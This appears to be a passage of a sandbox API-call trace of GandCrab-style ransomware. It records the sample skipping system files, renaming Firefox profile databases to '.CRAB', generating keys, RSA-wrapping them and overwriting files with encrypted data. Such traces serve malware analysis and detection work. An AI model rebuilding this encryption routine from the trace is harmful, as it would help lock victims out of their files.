	[0121.809] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="parent.lock" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\parent.lock") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\parent.lock"
	[0121.809] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.809] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\parent.lock") returned 91
	[0121.809] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\parent.lock") returned 91
	[0121.809] lstrlenW (lpString=".lock") returned 5
	[0121.809] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.809] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".lock ") returned 6
	[0121.810] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.810] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.810] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0121.810] lstrcmpW (lpString1="permissions.sqlite", lpString2=".") returned 1
	[0121.810] lstrcmpW (lpString1="permissions.sqlite", lpString2="..") returned 1
	[0121.810] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="permissions.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite"
	[0121.810] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.810] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite") returned 98
	[0121.811] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite") returned 98
	[0121.811] lstrlenW (lpString=".sqlite") returned 7
	[0121.811] VirtualAlloc (lpAddress=0x0, dwSize=0x12, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.811] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".sqlite ") returned 8
	[0121.811] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.811] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite") returned 98
	[0121.811] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite") returned 98
	[0121.811] lstrcmpiW (lpString1="permissions.sqlite", lpString2="desktop.ini") returned 1
	[0121.811] lstrcmpiW (lpString1="permissions.sqlite", lpString2="autorun.inf") returned 1
	[0121.811] lstrcmpiW (lpString1="permissions.sqlite", lpString2="ntuser.dat") returned 1
	[0121.811] lstrcmpiW (lpString1="permissions.sqlite", lpString2="iconcache.db") returned 1
	[0121.811] lstrcmpiW (lpString1="permissions.sqlite", lpString2="bootsect.bak") returned 1
	[0121.811] lstrcmpiW (lpString1="permissions.sqlite", lpString2="boot.ini") returned 1
	[0121.812] lstrcmpiW (lpString1="permissions.sqlite", lpString2="ntuser.dat.log") returned 1
	[0121.812] lstrcmpiW (lpString1="permissions.sqlite", lpString2="thumbs.db") returned -1
	[0121.812] lstrcmpiW (lpString1="permissions.sqlite", lpString2="CRAB-DECRYPT.txt") returned 1
	[0121.812] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.812] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite.CRAB") returned 103
	[0121.812] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\permissions.sqlite")) returned 0x20
	[0121.813] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite", dwFileAttributes=0x20) returned 1
	[0121.813] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\permissions.sqlite"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\permissions.sqlite.crab")) returned 1
	[0121.814] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0121.814] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite.CRAB"
	[0121.815] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite.CRAB.CRAB"
	[0121.815] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0121.815] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0121.816] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0121.816] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0121.816] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0121.816] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0121.816] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.816] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e9e0) returned 1
	[0121.817] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0121.817] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0121.817] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0121.817] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0121.817] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0121.817] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.818] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0121.818] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0121.818] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6eb78) returned 1
	[0121.819] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x31653d8) returned 1
	[0121.819] CryptGetKeyParam (in: hKey=0x31653d8, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0121.819] CryptEncrypt (in: hKey=0x31653d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0121.819] GetLastError () returned 0x0
	[0121.819] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0121.820] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e408) returned 1
	[0121.820] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3165198) returned 1
	[0121.820] CryptGetKeyParam (in: hKey=0x3165198, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0121.820] CryptEncrypt (in: hKey=0x3165198, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0121.820] GetLastError () returned 0x0
	[0121.820] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0121.821] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\permissions.sqlite.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0121.821] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0121.821] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0121.822] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x18000, lpOverlapped=0x0) returned 1
	[0121.867] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0121.869] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x3000, flProtect=0x4) returned 0x3470000
	[0121.871] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.872] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffe8000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.872] WriteFile (in: hFile=0x3e0, lpBuffer=0x3470000*, nNumberOfBytesToWrite=0x18000, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3470000*, lpNumberOfBytesWritten=0x3149f14*=0x18000, lpOverlapped=0x0) returned 1
	[0121.872] VirtualFree (lpAddress=0x3470000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.872] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.877] WriteFile (in: hFile=0x3e0, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0121.877] WriteFile (in: hFile=0x3e0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0121.877] WriteFile (in: hFile=0x3e0, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0121.877] CloseHandle (hObject=0x3e0) returned 1
	[0121.877] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.877] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.878] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.878] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.878] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.878] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.879] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0121.879] lstrcmpW (lpString1="places.sqlite", lpString2=".") returned 1
	[0121.879] lstrcmpW (lpString1="places.sqlite", lpString2="..") returned 1
	[0121.879] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="places.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite"
	[0121.879] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.879] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite") returned 93
	[0121.879] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite") returned 93
	[0121.879] lstrlenW (lpString=".sqlite") returned 7
	[0121.879] VirtualAlloc (lpAddress=0x0, dwSize=0x12, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.879] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".sqlite ") returned 8
	[0121.879] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.879] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite") returned 93
	[0121.879] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite") returned 93
	[0121.879] lstrcmpiW (lpString1="places.sqlite", lpString2="desktop.ini") returned 1
	[0121.879] lstrcmpiW (lpString1="places.sqlite", lpString2="autorun.inf") returned 1
	[0121.880] lstrcmpiW (lpString1="places.sqlite", lpString2="ntuser.dat") returned 1
	[0121.880] lstrcmpiW (lpString1="places.sqlite", lpString2="iconcache.db") returned 1
	[0121.880] lstrcmpiW (lpString1="places.sqlite", lpString2="bootsect.bak") returned 1
	[0121.880] lstrcmpiW (lpString1="places.sqlite", lpString2="boot.ini") returned 1
	[0121.880] lstrcmpiW (lpString1="places.sqlite", lpString2="ntuser.dat.log") returned 1
	[0121.880] lstrcmpiW (lpString1="places.sqlite", lpString2="thumbs.db") returned -1
	[0121.880] lstrcmpiW (lpString1="places.sqlite", lpString2="CRAB-DECRYPT.txt") returned 1
	[0121.880] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.880] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite.CRAB") returned 98
	[0121.880] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\places.sqlite")) returned 0x20
	[0121.880] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite", dwFileAttributes=0x20) returned 1
	[0121.881] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\places.sqlite"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\places.sqlite.crab")) returned 1
	[0121.881] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0121.882] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite.CRAB"
	[0121.882] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite.CRAB.CRAB"
	[0121.882] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6ed98) returned 1
	[0121.882] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0121.883] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0121.883] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0121.883] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0121.883] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0121.883] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.883] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e5a0) returned 1
	[0121.884] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0121.884] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0121.884] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0121.884] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0121.884] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0121.884] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.884] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0121.885] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0121.885] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e5a0) returned 1
	[0121.885] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3165318) returned 1
	[0121.885] CryptGetKeyParam (in: hKey=0x3165318, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0121.885] CryptEncrypt (in: hKey=0x3165318, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0121.886] GetLastError () returned 0x0
	[0121.886] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0121.886] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e408) returned 1
	[0121.886] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3165358) returned 1
	[0121.887] CryptGetKeyParam (in: hKey=0x3165358, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0121.887] CryptEncrypt (in: hKey=0x3165358, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0121.887] GetLastError () returned 0x0
	[0121.887] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0121.887] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\places.sqlite.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0121.887] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0121.888] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0121.888] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x100000, lpOverlapped=0x0) returned 1
	[0121.953] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3470000
	[0122.078] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3570000
	[0122.114] VirtualFree (lpAddress=0x3470000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.118] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.118] WriteFile (in: hFile=0x3e0, lpBuffer=0x3570000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3570000*, lpNumberOfBytesWritten=0x3149f14*=0x100000, lpOverlapped=0x0) returned 1
	[0122.120] VirtualFree (lpAddress=0x3570000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.136] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x100000, lpOverlapped=0x0) returned 1
	[0122.162] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3470000
	[0122.174] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3570000
	[0122.186] VirtualFree (lpAddress=0x3470000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.189] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.189] WriteFile (in: hFile=0x3e0, lpBuffer=0x3570000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3570000*, lpNumberOfBytesWritten=0x3149f14*=0x100000, lpOverlapped=0x0) returned 1
	[0122.191] VirtualFree (lpAddress=0x3570000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.195] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x100000, lpOverlapped=0x0) returned 1
	[0122.222] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3470000
	[0122.228] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3570000
	[0122.244] VirtualFree (lpAddress=0x3470000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.248] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.248] WriteFile (in: hFile=0x3e0, lpBuffer=0x3570000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3570000*, lpNumberOfBytesWritten=0x3149f14*=0x100000, lpOverlapped=0x0) returned 1
	[0122.250] VirtualFree (lpAddress=0x3570000, dwSize=0x0, dwFreeType=0x8000) returned 1
